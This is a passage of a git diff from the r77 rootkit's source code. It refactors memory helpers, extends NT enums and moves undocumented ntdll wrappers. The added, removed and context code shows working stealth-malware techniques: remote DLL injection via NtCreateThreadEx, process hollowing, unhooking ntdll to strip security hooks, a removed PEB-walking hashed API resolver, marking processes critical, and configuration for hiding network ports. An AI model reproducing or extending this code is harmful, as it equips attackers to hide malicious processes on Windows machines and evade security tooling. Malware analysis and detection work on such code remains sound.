SystemRegistryReconciliationInformation, - SystemEdidInformation, - SystemManufacturingInformation, - SystemEnergyEstimationConfigInformation, - SystemHypervisorDetailInformation, - SystemProcessorCycleStatsInformation, - SystemVmGenerationCountInformation, - SystemTrustedPlatformModuleInformation, - SystemKernelDebuggerFlags, - SystemCodeIntegrityPolicyInformation, - SystemIsolatedUserModeInformation, - SystemHardwareSecurityTestInterfaceResultsInformation, - SystemSingleModuleInformation, - SystemAllowedCpuSetsInformation, - SystemVsmProtectionInformation, - SystemInterruptCpuSetsInformation, - SystemSecureBootPolicyFullInformation, - SystemCodeIntegrityPolicyFullInformation, - SystemAffinitizedInterruptProcessorInformation, - SystemRootSiloInformation, - SystemCpuSetInformation, - SystemCpuSetTagInformation, - SystemWin32WerStartCallout, - SystemSecureKernelProfileInformation, - SystemCodeIntegrityPlatformManifestInformation, - SystemInterruptSteeringInformation, - SystemSupportedProcessorArchitectures, - SystemMemoryUsageInformation, - SystemCodeIntegrityCertificateInformation, - SystemPhysicalMemoryInformation, - SystemControlFlowTransition, - SystemKernelDebuggingAllowed, - SystemActivityModerationExeState, - SystemActivityModerationUserSettings, - SystemCodeIntegrityPoliciesFullInformation, - SystemCodeIntegrityUnlockInformation, - SystemIntegrityQuotaInformation, - SystemFlushInformation, - SystemProcessorIdleMaskInformation, - SystemSecureDumpEncryptionInformation, - SystemWriteConstraintInformation, - SystemKernelVaShadowInformation, - SystemHypervisorSharedPageInformation, - SystemFirmwareBootPerformanceInformation, - SystemCodeIntegrityVerificationInformation, - SystemFirmwarePartitionInformation, - SystemSpeculationControlInformation, - SystemDmaGuardPolicyInformation, - SystemEnclaveLaunchControlInformation, - SystemWorkloadAllowedCpuSetsInformation, - SystemCodeIntegrityUnlockModeInformation, - SystemLeapSecondInformation, - SystemFlags2Information, - SystemSecurityModelInformation, - SystemCodeIntegritySyntheticCacheInformation, - SystemFeatureConfigurationInformation, - SystemFeatureConfigurationSectionInformation, - SystemFeatureUsageSubscriptionInformation, - SystemSecureSpeculationControlInformation + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemCriticalProcessErrorLogInformation = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + SystemManufacturingInformation = 157, + SystemEnergyEstimationConfigInformation = 158, + SystemHypervisorDetailInformation = 159, + SystemProcessorCycleStatsInformation = 160, + SystemVmGenerationCountInformation = 161, + SystemTrustedPlatformModuleInformation = 162, + SystemKernelDebuggerFlags = 163, + SystemCodeIntegrityPolicyInformation = 164, + SystemIsolatedUserModeInformation = 165, + SystemHardwareSecurityTestInterfaceResultsInformation = 166, + SystemSingleModuleInformation = 167, + SystemAllowedCpuSetsInformation = 168, + SystemVsmProtectionInformation = 169, + SystemInterruptCpuSetsInformation = 170, + SystemSecureBootPolicyFullInformation = 171, + SystemCodeIntegrityPolicyFullInformation = 172, + SystemAffinitizedInterruptProcessorInformation = 173, + SystemRootSiloInformation = 174, + SystemCpuSetInformation = 175, + SystemCpuSetTagInformation = 176, + SystemWin32WerStartCallout = 177, + SystemSecureKernelProfileInformation = 178, + SystemCodeIntegrityPlatformManifestInformation = 179, + SystemInterruptSteeringInformation = 180, + SystemSupportedProcessorArchitectures = 181, + SystemMemoryUsageInformation = 182, + SystemCodeIntegrityCertificateInformation = 183, + SystemPhysicalMemoryInformation = 184, + SystemControlFlowTransition = 185, + SystemKernelDebuggingAllowed = 186, + SystemActivityModerationExeState = 187, + SystemActivityModerationUserSettings = 188, + SystemCodeIntegrityPoliciesFullInformation = 189, + SystemCodeIntegrityUnlockInformation = 190, + SystemIntegrityQuotaInformation = 191, + SystemFlushInformation = 192, + SystemProcessorIdleMaskInformation = 193, + SystemSecureDumpEncryptionInformation = 194, + SystemWriteConstraintInformation = 195, + SystemKernelVaShadowInformation = 196, + SystemHypervisorSharedPageInformation = 197, + SystemFirmwareBootPerformanceInformation = 198, + SystemCodeIntegrityVerificationInformation = 199, + SystemFirmwarePartitionInformation = 200, + SystemSpeculationControlInformation = 201, + SystemDmaGuardPolicyInformation = 202, + SystemEnclaveLaunchControlInformation = 203, + SystemWorkloadAllowedCpuSetsInformation = 204, + SystemCodeIntegrityUnlockModeInformation = 205, + SystemLeapSecondInformation = 206, + SystemFlags2Information = 207, + SystemSecurityModelInformation = 208, + SystemCodeIntegritySyntheticCacheInformation = 209, + SystemFeatureConfigurationInformation = 210, + SystemFeatureConfigurationSectionInformation = 211, + SystemFeatureUsageSubscriptionInformation = 212, + SystemSecureSpeculationControlInformation = 213 } NT_SYSTEM_INFORMATION_CLASS; typedef struct _NT_SYSTEM_PROCESS_INFORMATION @@ -247,6 +247,11 @@ typedef struct _NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION ULONG InterruptCount; } NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; +typedef struct _NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION +{ + ULONGLONG CycleTime; +} NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION, *PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION; + typedef enum _NT_FILE_INFORMATION_CLASS { FileFullDirectoryInformation = 2, @@ -529,7 +534,7 @@ typedef enum _NT_OBJECT_INFORMATION_CLASS { ObjectNameInformation = 1, ObjectAllInformation = 3, - ObjectDataInformation + ObjectDataInformation = 4 } NT_OBJECT_INFORMATION_CLASS, *PNT_OBJECT_INFORMATION_CLASS; typedef struct _NT_LDR_DATA_TABLE_ENTRY diff --git a/r77api/r77api.vcxitems b/r77api/r77api.vcxitems index 3f5480b..ee649c3 100644 --- a/r77api/r77api.vcxitems +++ b/r77api/r77api.vcxitems @@ -17,7 +17,6 @@ - @@ -27,7 +26,6 @@ - \ No newline at end of file diff --git a/r77api/r77config.c b/r77api/r77config.c index 1fd4a18..519a03c 100644 --- a/r77api/r77config.c +++ b/r77api/r77config.c @@ -1,6 +1,5 @@ #include "r77config.h" #include "r77def.h" -#include "r77runtime.h" #include PR77_CONFIG LoadR77Config() @@ -98,7 +97,7 @@ VOID DeleteR77Config(PR77_CONFIG config) DeleteIntegerList(config->HiddenTcpLocalPorts); DeleteIntegerList(config->HiddenTcpRemotePorts); DeleteIntegerList(config->HiddenUdpPorts); - libc_memset(config, 0, sizeof(R77_CONFIG)); + i_memset(config, 0, sizeof(R77_CONFIG)); FREE(config); } BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB) diff --git a/r77api/r77mindef.h b/r77api/r77mindef.h index d584116..1cac682 100644 --- a/r77api/r77mindef.h +++ b/r77api/r77mindef.h @@ -1,5 +1,6 @@ #include #include +#include #ifndef _R77MINDEF_H #define _R77MINDEF_H @@ -9,6 +10,11 @@ #define NEW_ARRAY(type, length) (type*)HeapAlloc(GetProcessHeap(), 0, sizeof(type) * (length)) #define FREE(buffer) HeapFree(GetProcessHeap(), 0, buffer); +#define i_memcpy(dest, src, count) __movsb((LPBYTE)(dest), (LPCBYTE)(src), (SIZE_T)(count)) +#define i_wmemcpy(dest, src, count) __movsw((LPWORD)(dest), (const LPWORD)(src), (SIZE_T)(count)) +#define i_memset(dest, value, count) __stosb((LPBYTE)(dest), (BYTE)(value), (SIZE_T)(count)) +#define i_wmemset(dest, value, count) __stosw((LPWORD)(dest), (WORD)(value), (SIZE_T)(count)) + /// /// Returns TRUE, if the bitness of the current process is equal to bits. /// @@ -17,10 +23,6 @@ /// Returns either if32 or if64 depending on the bitness of the current process. /// #define COALESCE_BITNESS(if32, if64) (sizeof(LPVOID) == 4 ? (if32) : (if64)) -/// -/// Rotates a value right by a defined number of bits. -/// -#define ROTR(value, bits) ((DWORD)(value) >> (bits) | (DWORD)(value) << (32 - (bits))) #ifdef CUSTOM_ENTRY int main(); diff --git a/r77api/r77process.c b/r77api/r77process.c index fdc70cd..3c5f937 100644 --- a/r77api/r77process.c +++ b/r77api/r77process.c @@ -1,7 +1,6 @@ #include "r77process.h" #include "r77def.h" #include "r77win.h" -#include "r77runtime.h" #include #include @@ -52,7 +51,7 @@ BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast) if (WriteProcessMemory(process, allocatedMemory, dll, dllSize, NULL)) { HANDLE thread = NULL; - if (NT_SUCCESS(NtCreateThreadEx(&thread, 0x1fffff, NULL, process, allocatedMemory + entryPoint, allocatedMemory, 0, 0, 0, 0, NULL)) && thread) + if (NT_SUCCESS(R77_NtCreateThreadEx(&thread, 0x1fffff, NULL, process, allocatedMemory + entryPoint, allocatedMemory, 0, 0, 0, 0, NULL)) && thread) { if (fast) { @@ -157,7 +156,7 @@ BOOL DetachInjectedProcess(PR77_PROCESS r77Process) { // R77_PROCESS.DetachAddress is a function pointer to DetachRootkit() HANDLE thread = NULL; - if (NT_SUCCESS(NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Process->DetachAddress, NULL, 0, 0, 0, 0, NULL)) && thread) + if (NT_SUCCESS(R77_NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Process->DetachAddress, NULL, 0, 0, 0, 0, NULL)) && thread) { result = TRUE; CloseHandle(thread); diff --git a/r77api/r77runtime.c b/r77api/r77runtime.c deleted file mode 100644 index d75fd40..0000000 --- a/r77api/r77runtime.c +++ /dev/null @@ -1,103 +0,0 @@ -#include "r77runtime.h" -#include "r77win.h" -#include "ntdll.h" - -VOID libc_memcpy(LPVOID dest, LPVOID src, SIZE_T size) -{ - for (volatile LPBYTE destPtr = dest, srcPtr = src; size; size--) - { - *destPtr++ = *srcPtr++; - } -} -VOID libc_wmemcpy(LPVOID dest, LPVOID src, SIZE_T size) -{ - for (volatile PWCHAR destPtr = dest, srcPtr = src; size; size--) - { - *destPtr++ = *srcPtr++; - } -} -VOID libc_memset(LPVOID dest, INT value, SIZE_T size) -{ - for (volatile LPBYTE destPtr = dest; size; size--) - { - *destPtr++ = value; - } -} -VOID libc_ltow(LONG value, PWCHAR buffer) -{ - if (value < 0) - { - *buffer++ = L'-'; - value = -value; - } - - INT length = 0; - for (LONG i = value; i; i /= 10) - { - length++; - } - - for (INT i = 0; i < length; i++) - { - buffer[length - i - 1] = L'0' + value % 10; - value /= 10; - } - - buffer[length] = L'\0'; -} -DWORD libc_strhash(LPCSTR str) -{ - DWORD hash = 0; - - while (*str) - { - hash = ROTR(hash, 13) + *str++; - } - - return hash; -} -DWORD libc_strhashi(LPCSTR str, USHORT length) -{ - DWORD hash = 0; - - for (; length--; str++) - { - hash = ROTR(hash, 13) + (*str >= 'a' ? *str - 0x20 : *str); - } - - return hash; -} - -NTSTATUS NTAPI NtQueryObject2(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength) -{ - // NtQueryObject must be called by using GetProcAddress on Windows 7. - return ((NT_NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength); -} -NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer) -{ - // Use NtCreateThreadEx instead of CreateRemoteThread. - // CreateRemoteThread does not work across sessions in Windows 7. - return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer); -} -NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue) -{ - return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue); -} -NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb) -{ - return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb); -} -BOOL IsWindows10OrGreater2() -{ - // This function must re-written in order to be compatible with /NODEFAULTLIB - - OSVERSIONINFOEXW versionInfo; - libc_memset(&versionInfo, 0, sizeof(OSVERSIONINFOEXW)); - versionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); - versionInfo.dwMajorVersion = HIBYTE(_WIN32_WINNT_WINTHRESHOLD); - versionInfo.dwMinorVersion = LOBYTE(_WIN32_WINNT_WINTHRESHOLD); - versionInfo.wServicePackMajor = 0; - - DWORDLONG conditionMask = VerSetConditionMask(VerSetConditionMask(VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL), VER_MINORVERSION, VER_GREATER_EQUAL), VER_SERVICEPACKMAJOR, VER_GREATER_EQUAL); - return VerifyVersionInfoW(&versionInfo, VER_MAJORVERSION | VER_MINORVERSION | VER_SERVICEPACKMAJOR, conditionMask) != FALSE; -} \ No newline at end of file diff --git a/r77api/r77runtime.h b/r77api/r77runtime.h deleted file mode 100644 index 3e98359..0000000 --- a/r77api/r77runtime.h +++ /dev/null @@ -1,24 +0,0 @@ -#include "r77mindef.h" -#ifndef _R77RUNTIME_H -#define _R77RUNTIME_H - -// Shellcode variants of libc functions -// - Used by the reflective loader, prior to any DLL's being loaded -// - Used where MSVCRT replacements are needed, when /NODEFAULTLIB is used - -VOID libc_memcpy(LPVOID dest, LPVOID src, SIZE_T size); -VOID libc_wmemcpy(LPVOID dest, LPVOID src, SIZE_T size); -VOID libc_memset(LPVOID dest, INT value, SIZE_T size); -VOID libc_ltow(LONG value, PWCHAR buffer); -DWORD libc_strhash(LPCSTR str); -DWORD libc_strhashi(LPCSTR str, USHORT length); - -// API's that are called by using GetProcAddress - -NTSTATUS NTAPI NtQueryObject2(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); -NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); -NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); -NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); -BOOL IsWindows10OrGreater2(); - -#endif \ No newline at end of file diff --git a/r77api/r77win.c b/r77api/r77win.c index 535d928..b77b7f9 100644 --- a/r77api/r77win.c +++ b/r77api/r77win.c @@ -1,5 +1,4 @@ #include "r77win.h" -#include "r77runtime.h" #include "ntdll.h" #include #include @@ -65,7 +64,7 @@ LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str) if (str.Buffer) { PWCHAR buffer = NEW_ARRAY(WCHAR, str.Length / sizeof(WCHAR) + 1); - libc_wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR)); + i_wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR)); buffer[str.Length / sizeof(WCHAR)] = L'\0'; return buffer; @@ -75,6 +74,35 @@ LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str) return NULL; } } +VOID Int32ToStrW(LONG value, PWCHAR buffer) +{ + if (value == 0) + { + buffer[0] = L'0'; + buffer[1] = L'\0'; + return; + } + + if (value < 0) + { + *buffer++ = L'-'; + value = -value; + } + + INT length = 0; + for (LONG i = value; i; i /= 10) + { + length++; + } + + for (INT i = 0; i < length; i++) + { + buffer[length - i - 1] = L'0' + value % 10; + value /= 10; + } + + buffer[length] = L'\0'; +} BOOL Is64BitOperatingSystem() { @@ -354,8 +382,8 @@ BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile) STARTUPINFOW startupInfo; PROCESS_INFORMATION processInformation; - libc_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); - libc_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); + i_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); + i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(startupInfo); if (CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation)) @@ -610,7 +638,7 @@ HANDLE CreatePublicNamedPipe(LPCWSTR name) if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE; EXPLICIT_ACCESSW explicitAccess; - libc_memset(&explicitAccess, 0, sizeof(EXPLICIT_ACCESSW)); + i_memset(&explicitAccess, 0, sizeof(EXPLICIT_ACCESSW)); explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS; explicitAccess.grfAccessMode = SET_ACCESS; explicitAccess.grfInheritance = NO_INHERITANCE; @@ -653,43 +681,6 @@ BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit) return FALSE; } -LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash) -{ -#ifdef _WIN64 - PNT_PEB_LDR_DATA peb = (PNT_PEB_LDR_DATA)((PNT_PEB)__readgsqword(0x60))->Ldr; -#else - PNT_PEB_LDR_DATA peb = (PNT_PEB_LDR_DATA)((PNT_PEB)__readfsdword(0x30))->Ldr; -#endif - - PNT_LDR_DATA_TABLE_ENTRY firstPebEntry = (PNT_LDR_DATA_TABLE_ENTRY)peb->InMemoryOrderModuleList.Flink; - PNT_LDR_DATA_TABLE_ENTRY pebEntry = firstPebEntry; - do - { - // Find module by hash - if (pebEntry->BaseDllName.Buffer && libc_strhashi((LPCSTR)pebEntry->BaseDllName.Buffer, pebEntry->BaseDllName.Length) == moduleHash) - { - LPBYTE dllBase = (LPBYTE)pebEntry->DllBase; - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); - PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - LPDWORD nameDirectory = (LPDWORD)(dllBase + exportDirectory->AddressOfNames); - LPWORD nameOrdinalDirectory = (LPWORD)(dllBase + exportDirectory->AddressOfNameOrdinals); - - // Find function by hash - for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++, nameDirectory++, nameOrdinalDirectory++) - { - if (libc_strhash((LPCSTR)(dllBase + *nameDirectory)) == functionHash) - { - return dllBase + *(LPDWORD)(dllBase + exportDirectory->AddressOfFunctions + *nameOrdinalDirectory * sizeof(DWORD)); - } - } - - return NULL; - } - } - while ((pebEntry = (PNT_LDR_DATA_TABLE_ENTRY)pebEntry->InMemoryOrderModuleList.Flink) != firstPebEntry); - - return NULL; -} BOOL RunPE(LPCWSTR path, LPBYTE payload) { // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times. @@ -703,8 +694,8 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload) { STARTUPINFOW startupInfo; PROCESS_INFORMATION processInformation; - libc_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); - libc_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); + i_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); + i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(startupInfo); if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation)) @@ -839,7 +830,7 @@ VOID UnhookDll(LPCWSTR name) if (dll) { MODULEINFO moduleInfo; - libc_memset(&moduleInfo, 0, sizeof(MODULEINFO)); + i_memset(&moduleInfo, 0, sizeof(MODULEINFO)); if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO))) { @@ -868,7 +859,7 @@ VOID UnhookDll(LPCWSTR name) DWORD oldProtect; VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); - libc_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize); + i_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize); VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect); break; @@ -886,4 +877,38 @@ VOID UnhookDll(LPCWSTR name) FreeLibrary(dll); } } +} + +NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength) +{ + // NtQueryObject must be called by using GetProcAddress on Windows 7. + return ((NT_NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength); +} +NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer) +{ + // Use NtCreateThreadEx instead of CreateRemoteThread. + // CreateRemoteThread does not work across sessions in Windows 7. + return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer); +} +NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue) +{ + return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue); +} +NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb) +{ + return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb); +} +BOOL R77_IsWindows10OrGreater() +{ + // This function must re-written in order to be compatible with /NODEFAULTLIB + + OSVERSIONINFOEXW versionInfo; + i_memset(&versionInfo, 0, sizeof(OSVERSIONINFOEXW)); + versionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); + versionInfo.dwMajorVersion = HIBYTE(_WIN32_WINNT_WIN10); + versionInfo.dwMinorVersion = LOBYTE(_WIN32_WINNT_WIN10); + versionInfo.wServicePackMajor = 0; + + DWORDLONG conditionMask = VerSetConditionMask(VerSetConditionMask(VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL), VER_MINORVERSION, VER_GREATER_EQUAL), VER_SERVICEPACKMAJOR, VER_GREATER_EQUAL); + return VerifyVersionInfoW(&versionInfo, VER_MAJORVERSION | VER_MINORVERSION | VER_SERVICEPACKMAJOR, conditionMask) != FALSE; } \ No newline at end of file diff --git a/r77api/r77win.h b/r77api/r77win.h index 1351037..1508c58 100644 --- a/r77api/r77win.h +++ b/r77api/r77win.h @@ -38,6 +38,12 @@ LPCSTR ConvertStringToAString(LPCWSTR str); /// A newly allocated LPWSTR with the converted UNICODE_STRING. /// LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str); +/// +/// Converts a 32-bit integer value to a string. +/// +/// The value to convert. +/// A buffer of unicode characters to write the result to. +VOID Int32ToStrW(LONG value, PWCHAR buffer); /// /// Determines whether the operating system is a 64-bit operating system. @@ -236,15 +242,6 @@ HANDLE CreatePublicNamedPipe(LPCWSTR name); /// BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit); /// -/// Retrieves a function pointer from the PEB. -/// -/// The hash of the module name. The module must be loaded. -/// The hash of the function name. -/// -/// A pointer to the function, or NULL, if the function could not be found. -/// -LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash); -/// /// Creates a new process using the process hollowing technique. /// The bitness of the current process, the created process and the payload must match. /// @@ -279,4 +276,10 @@ DWORD RvaToOffset(LPBYTE image, DWORD rva); /// The name of the DLL to unhook. VOID UnhookDll(LPCWSTR name); +NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); +NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); +NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); +NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); +BOOL R77_IsWindows10OrGreater(); + #endif \ No newline at end of file